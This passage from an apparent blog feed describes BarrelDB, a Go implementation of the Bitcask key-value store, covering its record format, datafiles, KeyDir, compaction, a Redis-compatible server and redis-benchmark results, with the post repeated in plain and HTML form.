During the startup, BarrelDB checks the presence of a .hints file, decodes this gob dump, and loads the data in KeyDir.
Removing expired keys#
A goroutine runs at a configurable interval to check if the value of the key has expired. If it has, it deletes the entry from KeyDir. During the following merge process, since this entry won’t be present in KeyDir, it’ll automatically be removed when the new datafile is created.
To check if the key has expired, a simple check, like comparing their timestamps in UNIX epoch format, is enough: time.Now().Unix() > int64(r.Header.Expiry).
Redis Server#
In addition to using BarrelDB as a Go library, I also implemented a redis-compatible server. I found tidwall/redcon as an easy-to-use library to create a Redis-compatible server for Go applications. All I’d do was wrap BarrelDB API methods and define handlers for SET / GET.
I was able to use redis-cli and connect to the BarrelDB server:
127.0.0.1:6379> set hello world
OK
127.0.0.1:6379> get hello
"world"
Benchmarks#
You can check the repo for the actual benchmarks. However, I’d like to point out some inferences of the results from redis-benchmark.
First, let’s send 100000 requests to the server using 50 parallel clients. This command creates a unique key for each SET operation.
redis-benchmark -p 6379 -c 50 -t set -n 100000 -r 100000000

Summary:
  throughput summary: 145985.41 requests per second
  latency summary (msec):
          avg       min       p50       p95       p99       max
        0.179     0.016     0.183     0.207     0.399     1.727
So, 140k requests per second is not bad at all for a disk-based KV. But the exciting thing to note here is that the performance is predictable even if you increase the load by increasing clients:
redis-benchmark -p 6379 -c 200 -t set -n 100000 -r 100000000

Summary:
  throughput summary: 140845.08 requests per second
  latency summary (msec):
          avg       min       p50       p95       p99       max
        0.718     0.224     0.711     0.927     1.183     5.775
If we increase the number of requests (by 5x) as well, the throughput looks almost the same:
redis-benchmark -p 6379 -c 200 -t set -n 500000 -r 100000000

Summary:
  throughput summary: 138350.86 requests per second
  latency summary (msec):
          avg       min       p50       p95       p99       max
        0.748     0.056     0.711     0.879     1.135    63.135
This magic is all because of the way Bitcask uses Log structured hash table (just append-only records for writing data). Even with a lot of records, all it has to do is to write to the end of the file, which avoids any expensive I/O operations.
Summary#
Overall, I am happy with BarrelDB implementation as I covered everything described in the paper. This project had excellent learning outcomes for me. I spent a lot of time coming up with a design for structuring different components and their API methods and handling all the edge scenarios during the compaction process. Although, full credit to Bitcask as it kept its design so elegant and minimal yet achieved some significant numbers in the benchmarks. This is also a reminder that simple need not necessarily mean less powerful.
I look forward to implementing a distributed KV store by adding support for multiple BarrelDB nodes connected via Raft. For now, gonna enjoy some chai and release this project to the WWW :)
Fin!]]></description>
            <content:encoded><![CDATA[<p>I’d been mulling around reading a computer science paper and implementing a project based on it. Distributed systems, Networking and Databases are some of the things that fascinate me a lot. However, I had been looking to implement a more approachable project to avoid getting inundated initially. And I happened to chance upon the <a rel="external" href="https://riak.com/assets/bitcask-intro.pdf">Bitcask paper</a> through Avinash’s project: <a rel="external" href="https://github.com/avinassh/py-caskdb">CaskDB</a>.</p>
<p>After giving a quick read of this reasonably short paper, I decided to write a Golang implementation of the same, as it looked like an exciting project. If you’re interested in checking out the complete project, checkout <a rel="external" href="https://github.com/mr-karan/barreldb/">BarrelDB</a>.</p>
<hr />
<p>Bitcask is a disk-based key-value storage engine designed for fast read and write operations. It is mainly in production use by Riak (which is a distributed database) as one of the <a rel="external" href="https://docs.riak.com/riak/kv/2.2.3/setup/planning/backend/bitcask/index.html">storage engines</a>. Bitcask under the hood has a straightforward yet clever design. It writes to the file in an append-only mode. This means that writes are performed only by appending to the end of the file, thus avoiding the need to perform any random disk I/O seek.</p>
<p>Let’s look at various components of Bitcask:</p>
<h2 id="format-of-the-record">Format of the record<a class="zola-anchor" href="#format-of-the-record" aria-label="Anchor link for: format-of-the-record">#</a></h2>
<p><img src="https://mrkaran.dev/images/barreldb_record.png" alt="image" /></p>
<ul>
<li>CRC: Stores the checksum of the value to ensure data consistency</li>
<li>Timestamp: Timestamp in UNIX format, stored as int32.</li>
<li>Expiry: If the record has an expiry defined, then the timestamp, in UNIX format, is stored as int32.</li>
<li>Key Size: Size of the key in bytes</li>
<li>Value Size: Size of the value in bytes</li>
<li>Key</li>
<li>Value</li>
</ul>
<p>This additional metadata stored alongside the key/value is represented with a fixed-width header. Each field is represented as <code>int32</code>, so the total size of the header is 4*5 = 20 bytes. Here’s the code which encodes and decodes this record:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Record</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>    Header</span><span style="color: light-dark(#6F42C1, #F69D50);"> Header</span></span>
<span class="giallo-l"><span>    Key</span><span style="color: light-dark(#D73A49, #F47067);">    string</span></span>
<span class="giallo-l"><span>    Value</span><span>  [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Header represents the fixed width fields present at the start of every record.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Header</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>    Checksum</span><span style="color: light-dark(#D73A49, #F47067);">  uint32</span></span>
<span class="giallo-l"><span>    Timestamp</span><span style="color: light-dark(#D73A49, #F47067);"> uint32</span></span>
<span class="giallo-l"><span>    Expiry</span><span style="color: light-dark(#D73A49, #F47067);">    uint32</span></span>
<span class="giallo-l"><span>    KeySize</span><span style="color: light-dark(#D73A49, #F47067);">   uint32</span></span>
<span class="giallo-l"><span>    ValSize</span><span style="color: light-dark(#D73A49, #F47067);">   uint32</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Encode takes a byte buffer, encodes the value of header and writes to the buffer.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">h </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#6F42C1, #F69D50);">Header</span><span>)</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> encode</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">buf</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#6F42C1, #F69D50);">bytes</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Buffer</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> error</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    return</span><span> binary</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Write</span><span>(</span><span>buf</span><span>,</span><span> binary</span><span>.</span><span>LittleEndian</span><span>,</span><span> h</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Decode takes a record object decodes the binary value the buffer.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">h </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#6F42C1, #F69D50);">Header</span><span>)</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> decode</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">record</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> error</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    return</span><span> binary</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Read</span><span>(</span><span>bytes</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewReader</span><span>(</span><span>record</span><span>)</span><span>,</span><span> binary</span><span>.</span><span>LittleEndian</span><span>,</span><span> h</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>The record is encoded in the binary format before storing it on the disk.</p>
<h2 id="datafile">Datafile<a class="zola-anchor" href="#datafile" aria-label="Anchor link for: datafile">#</a></h2>
<p>A “datafile” (term used for the DB file on disk) is an append-only record of all the write operations. An instance of Bitcask can have several datafiles. However, there’s only one “active” datafile. In BarrelDB, a goroutine runs in the background at regular intervals to check if the size of the active DB file has crossed the threshold and then rotates the active file. It appends this DB file to the list of “stale” data files. All the new writes only happen to the “active” data file, and the stale files are merged as a part of the “compaction” process (described later in the post).</p>
<p><img src="https://mrkaran.dev/images/barreldb_data_dir.png" alt="image" /></p>
<p>Here’s how a <code>datafile</code> is represented:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> DataFile</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    sync</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">RWMutex</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    writer</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#6F42C1, #F69D50);">os</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">File</span></span>
<span class="giallo-l"><span>    reader</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#6F42C1, #F69D50);">os</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">File</span></span>
<span class="giallo-l"><span>    id</span><span style="color: light-dark(#D73A49, #F47067);">     int</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    offset</span><span style="color: light-dark(#D73A49, #F47067);"> int</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>It contains different handlers for writing and reading the file. The reason we have 2 file handlers instead of re-using the same one is that the <code>writer</code> is only opened in an “append-only” mode. In addition, since the active file can be rotated, the writer can be set to <code>nil</code>, ensuring no new writes ever happen on that file.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span>    writer</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> os</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">OpenFile</span><span>(</span><span>path</span><span>,</span><span> os</span><span>.</span><span>O_APPEND</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span>os</span><span>.</span><span>O_CREATE</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span>os</span><span>.</span><span>O_WRONLY</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0644</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span>,</span><span> fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Errorf</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">error opening file for writing db: </span><span style="color: light-dark(#005CC5, #F47067);">%w</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> err</span><span>)</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    //</span><span style="color: light-dark(#6A737D, #768390);"> Create a reader for reading the db file.</span></span>
<span class="giallo-l"><span>    reader</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> os</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Open</span><span>(</span><span>path</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span>,</span><span> fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Errorf</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">error opening file for reading db: </span><span style="color: light-dark(#005CC5, #F47067);">%w</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> err</span><span>)</span></span>
<span class="giallo-l"><span>    }</span></span></code></pre><h2 id="keydir">KeyDir<a class="zola-anchor" href="#keydir" aria-label="Anchor link for: keydir">#</a></h2>
<p>In addition to storing the file on disk, Bitcask also stores additional metadata, which defines how to retrieve the record. This hashtable is a map of keys with this metadata and is referred to as <code>KeyDir</code>. An important point to note here is that the <code>value</code> is <em>never</em> stored in this map. This makes it possible for Bitcask to handle datasets more significant than what the RAM can hold.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> KeyDir represents an in-memory hash for faster lookups of the key.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Once the key is found in the map, the additional metadata, like the offset record</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> and the file ID is used to extract the underlying record from the disk.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Advantage is that this approach only requires a single disk seek of the db file</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> since the position offset (in bytes) is already stored.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> KeyDir</span><span style="color: light-dark(#D73A49, #F47067);"> map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Meta</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Meta represents some additional properties for the given key.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> The actual value of the key is not stored in the in-memory hashtable.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Meta</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>    Timestamp</span><span style="color: light-dark(#D73A49, #F47067);">  int</span></span>
<span class="giallo-l"><span>    RecordSize</span><span style="color: light-dark(#D73A49, #F47067);"> int</span></span>
<span class="giallo-l"><span>    RecordPos</span><span style="color: light-dark(#D73A49, #F47067);">  int</span></span>
<span class="giallo-l"><span>    FileID</span><span style="color: light-dark(#D73A49, #F47067);">     int</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Here, <code>RecordPos</code> tells the record’s position offset (in bytes) in the entire file. Since the position of the record is stored in memory along with the key, the retrieval of the key doesn’t require more than a <em>single</em> disk seek. Bitcask achieves really low latency even with many keys in the database. A file system read-ahead cache also helps boost the performance and comes for free - no need to design a separate caching mechanism.</p>
<p><img src="https://mrkaran.dev/images/barreldb_key_lookup.png" alt="image" /></p>
<h2 id="compaction">Compaction<a class="zola-anchor" href="#compaction" aria-label="Anchor link for: compaction">#</a></h2>
<p>As we looked at previously, a datafile is simply an append-only sequence of writes. Any modification of the key is merely a new record appended to the datafile. KeyDir overwrites the entry of the key with the new metadata, which contains the new location of the record. Thus all reads will automatically return the updated value.</p>
<p>Deletes are handled similarly by writing a “tombstone” record for the key. When the user requests the key after it’s been deleted, BarrelDB can check whether that value equals the tombstone value and return an appropriate error.</p>
<p>As you would have guessed, our database will grow unbounded if we don’t perform any garbage cleanup. The datafiles need to be pruned for deleting expired/deleted records and merging all stale files in a single active file - to keep the number of opened files in check. All of these processes are together called “Compaction”.</p>
<p>Let’s take a look at how each of these compaction routine works under the hood:</p>
<h3 id="merge">Merge<a class="zola-anchor" href="#merge" aria-label="Anchor link for: merge">#</a></h3>
<p>The merge process iterates over all the keys inside KeyDir and fetches their value. The value could come from a stale file as well. Once the new keys/values are updated, it writes them to a new active file. All the old file handlers are closed, and the stale files are deleted from the disk. The KeyDir is updated similarly since the new records live in a different position/file.</p>
<h3 id="hints-file">Hints File<a class="zola-anchor" href="#hints-file" aria-label="Anchor link for: hints-file">#</a></h3>
<p>Bitcask paper describes a way of creating a “hints” file initially loaded in the database for faster startup time. This file is essential to bootstrap KeyDir after a cold startup. This avoids iterating over all data files and reading their values sequentially. In BarrelDB, <code>gob</code> encoding is used to dump the <code>KeyDir</code> map as a <code>gob</code> dump.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> generateHints encodes the contents of the in-memory hashtable</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> as `gob` and writes the data to a hints file.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">b </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#6F42C1, #F69D50);">Barrel</span><span>)</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> generateHints</span><span>(</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> error</span><span> {</span></span>
<span class="giallo-l"><span>    path</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> filepath</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Join</span><span>(</span><span>b</span><span>.</span><span>opts</span><span>.</span><span>dir</span><span>,</span><span> HINTS_FILE</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> b</span><span>.</span><span>keydir</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Encode</span><span>(</span><span>path</span><span>)</span><span>;</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span> err</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>During the startup, BarrelDB checks the presence of a <code>.hints</code> file, decodes this gob dump, and loads the data in <code>KeyDir</code>.</p>
<h3 id="removing-expired-keys">Removing expired keys<a class="zola-anchor" href="#removing-expired-keys" aria-label="Anchor link for: removing-expired-keys">#</a></h3>
<p>A goroutine runs at a configurable interval to check if the value of the key has expired. If it has, it deletes the entry from KeyDir. During the following merge process, since this entry won’t be present in KeyDir, it’ll automatically be removed when the new datafile is created.</p>
<p>To check if the key has expired, a simple check, like comparing their timestamps in UNIX epoch format, is enough: <code>time.Now().Unix() &gt; int64(r.Header.Expiry)</code>.</p>
<hr />
<h2 id="redis-server">Redis Server<a class="zola-anchor" href="#redis-server" aria-label="Anchor link for: redis-server">#</a></h2>
<p>In addition to using BarrelDB as a Go library, I also implemented a redis-compatible server. I found <a rel="external" href="https://github.com/tidwall/redcon">tidwall/redcon</a> as an easy-to-use library to create a Redis-compatible server for Go applications. All I’d do was wrap BarrelDB API methods and define handlers for <code>SET</code> / <code>GET</code>.</p>
<p>I was able to use <code>redis-cli</code> and connect to the BarrelDB server:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">127.0.0.1:6379</span><span>&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> set</span><span style="color: light-dark(#032F62, #96D0FF);"> hello</span><span style="color: light-dark(#032F62, #96D0FF);"> world</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">OK</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">127.0.0.1:6379</span><span>&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> get</span><span style="color: light-dark(#032F62, #96D0FF);"> hello</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">world</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span></span></code></pre><h2 id="benchmarks">Benchmarks<a class="zola-anchor" href="#benchmarks" aria-label="Anchor link for: benchmarks">#</a></h2>
<p>You can check the <a rel="external" href="https://github.com/mr-karan/barreldb/#benchmarks">repo</a> for the actual benchmarks. However, I’d like to point out some inferences of the results from <code>redis-benchmark</code>.</p>
<p>First, let’s send 100000 requests to the server using 50 parallel clients. This command creates a unique key for each <code>SET</code> operation.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis-benchmark</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">c</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 50</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);"> set</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">n</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100000</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">r</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100000000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Summary:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  throughput</span><span style="color: light-dark(#032F62, #96D0FF);"> summary:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 145985.41</span><span style="color: light-dark(#032F62, #96D0FF);"> requests</span><span style="color: light-dark(#032F62, #96D0FF);"> per</span><span style="color: light-dark(#032F62, #96D0FF);"> second</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  latency</span><span style="color: light-dark(#032F62, #96D0FF);"> summary</span><span> (msec</span><span>):</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">          avg</span><span style="color: light-dark(#032F62, #96D0FF);">       min</span><span style="color: light-dark(#032F62, #96D0FF);">       p50</span><span style="color: light-dark(#032F62, #96D0FF);">       p95</span><span style="color: light-dark(#032F62, #96D0FF);">       p99</span><span style="color: light-dark(#032F62, #96D0FF);">       max</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        0.179</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.016</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.183</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.207</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.399</span><span style="color: light-dark(#005CC5, #6CB6FF);">     1.727</span></span></code></pre>
<p>So, 140k requests per second is not bad at all for a disk-based KV. But the exciting thing to note here is that the performance is predictable even if you increase the load by increasing clients:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis-benchmark</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">c</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 200</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);"> set</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">n</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100000</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">r</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100000000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Summary:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  throughput</span><span style="color: light-dark(#032F62, #96D0FF);"> summary:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 140845.08</span><span style="color: light-dark(#032F62, #96D0FF);"> requests</span><span style="color: light-dark(#032F62, #96D0FF);"> per</span><span style="color: light-dark(#032F62, #96D0FF);"> second</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  latency</span><span style="color: light-dark(#032F62, #96D0FF);"> summary</span><span> (msec</span><span>):</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">          avg</span><span style="color: light-dark(#032F62, #96D0FF);">       min</span><span style="color: light-dark(#032F62, #96D0FF);">       p50</span><span style="color: light-dark(#032F62, #96D0FF);">       p95</span><span style="color: light-dark(#032F62, #96D0FF);">       p99</span><span style="color: light-dark(#032F62, #96D0FF);">       max</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        0.718</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.224</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.711</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.927</span><span style="color: light-dark(#005CC5, #6CB6FF);">     1.183</span><span style="color: light-dark(#005CC5, #6CB6FF);">     5.775</span></span></code></pre>
<p>If we increase the number of requests (by 5x) as well, the throughput looks almost the same:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis-benchmark</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">c</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 200</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);"> set</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">n</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 500000</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">r</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100000000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Summary:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  throughput</span><span style="color: light-dark(#032F62, #96D0FF);"> summary:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 138350.86</span><span style="color: light-dark(#032F62, #96D0FF);"> requests</span><span style="color: light-dark(#032F62, #96D0FF);"> per</span><span style="color: light-dark(#032F62, #96D0FF);"> second</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  latency</span><span style="color: light-dark(#032F62, #96D0FF);"> summary</span><span> (msec</span><span>):</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">          avg</span><span style="color: light-dark(#032F62, #96D0FF);">       min</span><span style="color: light-dark(#032F62, #96D0FF);">       p50</span><span style="color: light-dark(#032F62, #96D0FF);">       p95</span><span style="color: light-dark(#032F62, #96D0FF);">       p99</span><span style="color: light-dark(#032F62, #96D0FF);">       max</span></span>
